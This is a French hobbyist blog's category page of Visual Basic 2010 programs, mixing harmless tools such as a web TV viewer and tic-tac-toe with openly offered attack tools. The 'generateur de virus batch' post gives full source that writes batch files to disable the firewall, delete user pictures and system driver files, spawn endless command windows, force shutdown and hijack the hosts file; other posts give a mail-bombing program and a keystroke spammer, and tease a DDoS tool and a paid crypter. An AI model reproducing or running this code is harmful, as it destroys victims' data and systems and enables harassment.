vb 2010 - tuto-informatique.seb30.overblog.com
Overblog Suivre ce blog
Administration Créer mon blog
tuto-informatique.seb30.overblog.com

tuto et astuce informatique,n'hesitez pas a faire un don pour le travail

Articles avec #vb 2010 catégorie

seb web tv

Publié le 3 Mai 2015 par seb dans vb 2010

seb web tv

petit programme assez simple vous permettant de regarder

1 Metta tv ,tele resistante (double cliquez sur le live pour pleine ecran)

2 critic land tv ,simspons....(double cliquez sur le live pour pleine ecran)

3 tvp info ,tele polonaise d informations et posibilite de regarder par ville

4 tnt ,chaine francaises (play tv)

pour que ce programme fonctionne il faut framework a jour dans votre windows et une mise a jours vous sera demander pour la tele polonaise microsoft silverlight http://www.microsoft.com/silverlight/

Lire la suite

seb30ddos attaque

Publié le 15 Octobre 2014 par SEB dans vb 2010

seb30ddos attaque
Lire la suite

CRYPTER ET DECRYPTER

Publié le 19 Avril 2014 par SEB dans vb 2010

CRYPTER ET DECRYPTER

crypter maison

je le met en vente a 2 euro car c est beaucoup de travail,difficile de trouver un cryptage comme celui ci ,je rappel qu il faut framework a jour pour que cela fonctionne voici un lien pour le mettre a jour au cas ou http://www.microsoft.com/fr-fr/download/details.aspx?id=39257

Lire la suite

timer poker 1.2

Publié le 16 Janvier 2014 par SEB dans vb 2010

remise a jour du timer poker

remise a jour du timer poker

a telecharger pour les feneants

Lire la suite

generateur de virus batch

Publié le 9 Décembre 2013 par SEB dans vb 2010

generateur de virus batch

choisiser votre virus en cochant une des case

puis cliquez fabriquer

sauvegardez le avec le nom que vous voulez il sera automatiquement en .bat

je met le programme

Imports System.IO
Imports System.IO.Stream
Public Class Form1


Private Sub Button4_Click_1(sender As System.Object, e As System.EventArgs) Handles Button4.Click
TextBox1.Text = vbNullString
End Sub


Private Sub Button3_Click_1(sender As System.Object, e As System.EventArgs) Handles Button3.Click
TextBox1.Text = "@echo off"
End Sub


Private Sub Button2_Click_1(sender As System.Object, e As System.EventArgs) Handles Button2.Click
Try
Dim savefile As New SaveFileDialog
savefile.ShowDialog()
My.Computer.FileSystem.WriteAllText(savefile.FileName & ".bat", TextBox1.Text, False)
MsgBox("Virus créé avec succès!")
Catch ex As Exception
MsgBox("erreur pendant la création du virus")
End Try
End Sub


Private Sub Button1_Click_1(sender As System.Object, e As System.EventArgs) Handles Button1.Click
TextBox1.Text = "@echo off"
If CheckBox1.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "shutdown -s -t 60"
End If
If CheckBox2.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "attrib +h ""%userprofile%\my documents\my music"""
End If
If CheckBox3.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + ":main" + vbNewLine + "start cmd" + vbNewLine + "goto main"
End If
If CheckBox4.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "ipconfig / release" + vbNewLine + "if ERRORLEVEL1 ipconfig /release_all"""
End If
If CheckBox5.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "net stop ""MpsSvc""" + vbNewLine + "taskkill /f /t /im ""FirewallControlPanel.exe"""
End If
If CheckBox6.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + " del /f /q ""C:\Users\%userprofile%\My Documents\My Pictures\*.*"""
End If
If CheckBox7.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "cd ""C:\Windows\System32\Drivers\etc""" + vbNewLine + "echo 127.0.0.1 google.com >> ""Hosts""" + vbNewLine + "echo 127.0.0.1 www.google.com >> ""Hosts"""
End If
If CheckBox8.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "cd ""C:\Windows\System32\Drivers\etc""" + vbNewLine + "echo 127.0.0.1 facebook.com >> ""Hosts""" + vbNewLine + "echo 127.0.0.1 www.facebook.com >> ""Hosts"""
End If
If CheckBox9.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "del c:\windows\system\KEYBOARD.DRV" + vbNewLine + "del c:\windows\system\MOUSE.DRV"
End If
If CheckBox10.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "del C :windows*.bmp cls"
End If
End Sub


Private Sub LinkLabel1_LinkClicked(sender As System.Object, e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
System.Diagnostics.Process.Start("http://tuto-informatique.seb30.overblog.com/")
End Sub




End Class

Lire la suite

faire son crypter pdf

Publié le 20 Mars 2013 par SEB dans vb 2010

Lire la suite

morpion pour 2 joueurs

Publié le 4 Février 2013 par SEB dans vb 2010

Lire la suite

simple spammer

Publié le 4 Février 2013 par SEB dans vb 2010

voici le programme ,pour l utuliser marquer votre texte clique start et des que vous voulez entrer votre texte quelque part ca fonctionne 

Public Class Form1

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

Timer1.Enabled = True

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Timer1.Enabled = False End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

On Error Resume Next

SendKeys.Send(TextBox1.Text)

On Error Resume Next

SendKeys.Send("()")

End Sub

End Class

Lire la suite

bomber mails

Publié le 4 Février 2013 par SEB dans vb 2010

voici le programme pour les plus septiques ,je rappel qu il faut une adresse hotmail pour pouvoir envoyer des mails 

Imports System.Net

Imports System.Net.Mail

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Timer1.Enabled = True

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

Timer1.Enabled = False

End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

Me.Close()

End Sub

Private Sub Label7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label7.Click

Text = "0"

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim MyMailMessage As New MailMessage()

MyMailMessage.From = New MailAddress(TextBox1.Text) MyMailMessage.To.Add(TextBox3.Text) 

MyMailMessage.Subject = (TextBox4.Text)

MyMailMessage.Body = TextBox5.Text Dim SMTPServer As New SmtpClient("smtp.live.com")

SMTPServer.Port = 587 SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)

SMTPServer.EnableSsl = True Label7.Text = Val(Label7.Text + 1) SMTPServer.Send(MyMailMessage)

End Sub

End Class

bomber mails
Lire la suite

trouver l ip d un site

Publié le 4 Février 2013 par SEB dans vb 2010

trouver l ip dans site ex www.facebook.com

je met le programme a telecharger pour les feneants

il faut 2 textbox 1 bouton et 2 labels

Imports System.net

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim Hostname As IPHostEntry = Dns.GetHostByName(TextBox1.Text)

Dim ip As IPAddress() = Hostname.AddressList TextBox2.Text = ip(0).ToString

End Sub

End Class

trouver l ip d un site
Lire la suite

Afficher plus d'articles

1 2 > >>